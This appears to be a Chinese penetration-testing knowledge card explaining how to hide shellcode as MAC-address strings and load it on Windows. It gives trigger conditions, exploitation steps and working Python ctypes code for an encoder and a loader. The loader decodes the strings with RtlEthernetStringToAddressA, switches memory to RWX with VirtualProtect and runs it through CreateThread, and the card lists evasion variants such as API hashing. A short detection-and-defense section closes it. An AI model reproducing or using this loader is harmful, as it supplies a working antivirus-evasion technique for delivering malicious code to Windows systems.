♧ Godown 安全知识树

以太网(MAC)地址编码 Shellcode:6 字节一组转 FC-48-83-E4-F0-E8 形式,RtlEthernetStringToAddressA 还原并以 VirtualProtect 提权执行

pentest/c2 · verified

一句话结论

把 shellcode 按 6 字节一组补零,用 RtlEthernetAddressToStringA(Ntdll,别名 RtlEthernetAddressToString)把每组二进制转成 FC-48-83-E4-F0-E8 这种标准 MAC 地址字符串;loader 侧再逐组用 RtlEthernetStringToAddressA 把字符串解析回 6 字节并依次写入可执行内存,最后 VirtualProtect 改 PAGE_EXECUTE_READWRITE 后 CreateThread 执行。磁盘上只有形似网卡硬件地址的文本数组,没有连续二进制 shellcode,可规避基于原始字节特征与部分字符串/正则规则的静态检测。

原理

  • MAC 地址是 6 字节的固定文本表示:RtlEthernetAddressToStringA(PUCHAR addr, PCHAR s) 把 6 字节二进制格式化成 XX-XX-XX-XX-XX-XX(17 字符,含 5 个连字符);RtlEthernetStringToAddressA(PCHAR s, PCHAR *Terminator, PUCHAR addr) 做反向解析。两者都在 ntdll.dll 导出,Python 侧可直接 ctypes.windll.Ntdll 调用,无需编译 loader。
  • 分块与补齐:6 字节一组,长度不是 6 的倍数时补 0x00。补零而非 NOP 是有意的:00 在 ASCII 里不可打印,不会引入新特征;执行落到填充区时会因 00 字节改变指令流,但对“在首块之前跳入”的 shellcode 通常无害(如需更稳可用 0x90 补齐)。
  • 中间缓冲放大:每个 6 字节组格式化成 17 字符,所以编码缓冲需要 组数 × 17 字节;写回时每处理一组把目标指针前进 6 字节,编码缓冲指针前进 17 字节——两侧步长不同,是这种编码最容易写错的地方。
  • 为什么能降静态特征:FC-48-83-E4-F0-E8 这样的十六进制串看起来就是一张网卡地址列表;以原始字节签名、连续十六进制串、部分 YARA/正则扫描的规则不再直接命中,文件熵值也远低于密文。
  • 执行方式与提权:先 VirtualAlloc 申请 RW 内存写入,再 VirtualProtect(ptr, size, 0x40 /* PAGE_EXECUTE_READWRITE */, &old),最后 CreateThread(0,0,ptr,0,0,0) + WaitForSingleObject。用 RW→RWX 而不是一开始就 RWX,可降低“申请即可执行内存”的行为特征。
  • 局限:MAC 数组本身是极强特征(大量 XX-XX-XX-XX-XX-XX 字符串 + RtlEthernetStringToAddressA 调用),静态规则一旦覆盖该组合即失效;执行期的 RWX 页、线程创建仍是 EDR 行为检测重点。常与 XOR/AES、API 哈希、动态解析配合使用。

触发条件

  • 目标为 Windows,攻击者需投放 shellcode 并希望降低静态字节特征;可运行 Python(ctypes 可调用 ntdll/kernel32)或可编译 C loader。
  • shellcode 长度可按 6 字节补齐;loader 有权限申请并改写内存保护属性。
  • 目标安全产品主要依赖静态字节/字符串特征;若做内存扫描与行为链检测,单靠该编码不足。
  • ntdll 的 RtlEthernetStringToAddressA 可用(Windows 各版本 ntdll 均导出;个别加固环境可能 hook 该导出)。

利用步骤

  1. 准备 raw shellcode;长度不是 6 的倍数时用 b"\x00" * (6 - len % 6) 补齐。
  2. 编码:申请 组数 × 17 字节缓冲,循环 RtlEthernetAddressToStringA(chunk, buf + i*17),读取 17 字节字符串收集为数组(FC-48-83-E4-F0-E8 形式)。
  3. 把数组以文本形式嵌入 loader 源码(或放进资源段/配置文件),原始 shellcode 不落盘。
  4. loader 侧:ptr = VirtualAlloc(0, len(mac)*6, 0x1000|0x2000, PAGE_READWRITE);循环 RtlEthernetStringToAddressA(mac[i], mac[i], ptr + i*6) 逐组写回 6 字节。
  5. VirtualProtect(ptr, len(mac)*6, 0x40, byref(c_long(1))) 改可执行。
  6. CreateThread(0,0,ptr,0,0,0) 执行并 WaitForSingleObject(handle, -1);授权测试用弹窗/打印类无害 shellcode 验证。

PoC

编码端(Python + ctypes):

import ctypes

def encode(shellcode: bytes) -> list[str]:
    if len(shellcode) % 6:
        shellcode += b"\x00" * (6 - len(shellcode) % 6)
    n = len(shellcode) // 6
    buf = ctypes.create_string_buffer(n * 17)
    for i in range(n):
        chunk = shellcode[i*6:(i+1)*6]
        ctypes.windll.Ntdll.RtlEthernetAddressToStringA(
            ctypes.create_string_buffer(chunk), ctypes.addressof(buf) + i*17)
    return [buf.raw[i*17:(i+1)*17].decode() for i in range(n)]

loader 端(Python,原文写法的最小化版):

import ctypes

mac = ['FC-48-83-E4-F0-E8', 'C8-00-00-00-41-51']      # 其余组按同格式补齐
size = len(mac) * 6

ptr = ctypes.windll.kernel32.VirtualAlloc(0, size, 0x1000 | 0x2000, 0x04)  # RW
cursor = ptr
for m in mac:
    ctypes.windll.Ntdll.RtlEthernetStringToAddressA(m, m, cursor)
    cursor += 6

ctypes.windll.kernel32.VirtualProtect(ptr, size, 0x40,
    ctypes.byref(ctypes.c_long(1)))                    # RWX
h = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(h, -1)

说明:原文的分块/补齐与调用方式一致,但把 VirtualAlloc 直接要 RWX、并在编码阶段用 17 字节/组的缓冲;本卡的 PoC 把执行前保护属性改为 RW→RWX,属安全化改写。原文未在本机实际加载验证,本卡未执行。

变体与关联

  • 同类文本化编码:UUID([pentest-c2-shellcode-uuid-encoding-uuidfromstring])、IPv4 点分十进制([pentest-c2-shellcode-loader-aes-ipv4-uuid-entropy-obfuscation])、Base64/Hex 数组;MAC 的独特点是 6 字节分组与 17 字节定长串,单组信息密度最高。
  • 组合加密:先 XOR/AES 加密再 MAC 编码,loader 还原后先解密再执行;或把 MAC 数组放进资源段/图片块/配置文件改变载体。
  • 执行方式变体:线程换纤程、APC、WinAPI 回调;或改为函数指针直接调用。
  • API 隐藏:用 PEB 导出表遍历 + 函数哈希动态解析 RtlEthernetStringToAddressA/VirtualAlloc/VirtualProtect,减少 IAT 敏感导入。
  • 关联:[[pentest-c2-shellcode-uuid-encoding-uuidfromstring]](UUID 文本编码的 C loader 版本)、[[pentest-c2-shellcode-loader-aes-ipv4-uuid-entropy-obfuscation]](AES + IPv4/UUID 降熵)、[[pentest-c2-python-oss-staged-loader-pickle-xor-shellcode]](ctypes + VirtualAlloc + CreateThread 的 Python 加载器形态)、[[pentest-c2-go-apc-loader-name-obfuscation-xor]](另一语言的同构加载器)。
  • 边界:目标对 XX-XX-XX-XX-XX-XX 数组 + RtlEthernetStringToAddressA 有专门规则时失效;RWX 页与线程行为可被 EDR 捕获;shellcode 对齐/补齐不当会导致执行落点非法。

检测与防御

  • 检测:PE/脚本/配置数据中出现大量标准 MAC 字符串(可用正则 [0-9A-F]{2}-[0-9A-F]{2}-[0-9A-F]{2}-[0-9A-F]{2}-[0-9A-F]{2}-[0-9A-F]{2} 统计密度);导入或反射调用 RtlEthernetStringToAddressA;进程申请 RW 内存 → VirtualProtect 改 RX/RWX → CreateThread/纤程/回调 的调用序列;内存页出现原始 shellcode 特征。
  • 防御:EDR 同时覆盖静态字符串/结构与内存行为;对 “MAC 数组 + Ethernet 解析 API” 组合加启发式权重;监控 RW→RX/RWX 与执行链;启用代码签名、AppLocker/WDAC;限制未签名脚本解释器(Python)在受限网络中运行。
  • 响应:提取样本中的 MAC 数组与 loader 脚本,还原 shellcode 后比对 C2 特征,检查同源投放的其他主机。